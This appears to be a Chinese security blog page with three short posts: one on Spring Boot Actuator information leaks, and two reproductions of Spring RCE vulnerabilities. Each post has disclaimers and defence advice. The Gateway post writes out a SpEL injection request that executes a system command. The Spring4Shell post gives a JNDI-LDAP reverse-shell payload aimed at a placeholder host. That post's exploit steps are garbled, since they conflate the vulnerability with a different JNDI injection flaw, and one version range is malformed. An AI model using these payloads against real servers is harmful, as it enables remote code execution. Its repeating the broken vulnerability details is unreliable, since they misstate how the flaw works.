Spring安全 on SoulJian小站

Spring-Boot-Actuator信息泄露与未授权

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Actuator 安全测试只在授权测试环境进行。

一、Actuator 利用链

1

① 发现 Actuator → ② 枚举端点 → ③ 信息收集 → ④ 利用 → ⑤ RCE

二、危险端点

1
2
3
4


/actuator/env：查看/修改环境变量（含密码）
/actuator/heapdump：下载 JVM 堆内存（提取明文密码）
/actuator/threaddump：线程堆栈（含变量值）
/actuator/logfile：读取应用日志

三、防御方法

1
2
3
4


关闭端点：management.endpoints.web.exposure.include=
加认证：Spring Security 保护
网络隔离：不暴露公网
WAF 拦截 /actuator/ 路径

四、小结

Actuator 信息泄露可能导致数据库密码/JWT/源码泄露，进而导致 RCE。防御核心是关闭敏感端点 + 加认证 + 网络隔离。

Spring-Cloud-Gateway-SpEL-RCE复现

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Spring Cloud Gateway 攻击只在授权测试环境进行。

一、SpEL RCE 利用链

1

① 发现 Gateway → ② 确认版本 → ③ SpEL 注入 → ④ Runtime.exec() → ⑤ RCE

二、漏洞信息

1
2
3
4


CVE-2022-22947
影响：Spring Cloud Gateway 3.1.0~3.1.0 / 3.0.0~3.0.7
入口：POST /actuator/gateway/routes/{id}
类型：SpEL 表达式注入

三、利用步骤

1
2
3
4


POST /actuator/gateway/routes/exploit
Content-Type: application/json
{"id":"exploit","filters":[{"name":"AddRequestHeader","args":{"name":"X-Test","value":"#{T(java.lang.Runtime).getRuntime().exec('whoami')}}"}}]}
POST /actuator/gateway/refresh

四、防御加固

1
2
3


升级到 Spring Cloud Gateway 3.1.1+
关闭 /actuator/gateway/* 端点
WAF 拦截 SpEL 表达式

五、小结

SpEL 注入是 Spring Cloud Gateway 的高危漏洞。防御核心是升级版本 + 关闭 Actuator 端点。

Spring4Shell-CVE-2022-22965复现

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Spring4Shell 攻击只在授权测试环境进行。对非授权目标进行攻击可能触犯法律。

一、Spring4Shell 利用链

1

① 发现 Spring Boot → ② 确认版本/JDK/Tomcat → ③ ${...} 注入 → ④ 写 TLD 文件 → ⑤ 触发加载 → ⑥ RCE

二、漏洞信息

1
2
3
4


CVE-2022-22965
影响：Spring Framework 5.3.0~5.3.17 / 5.2.0~5.2.19
条件：Tomcat + JDK 9-17
入口：Content-Type / Accept 头中 ${...}

三、利用步骤

1
2
3
4


确认版本（Spring Boot / Tomcat / JDK）
→ 构造 ${jndi:ldap://xxx} payload
→ 注入到 Content-Type 头
→ 反弹 Shell

四、防御加固

1
2
3


升级到 Spring Framework 5.3.18+
或打官方补丁
WAF 拦截 ${ 表达式

五、小结

Spring4Shell 是 Spring Framework 的远程代码执行漏洞。升级补丁是唯一有效的防御手段。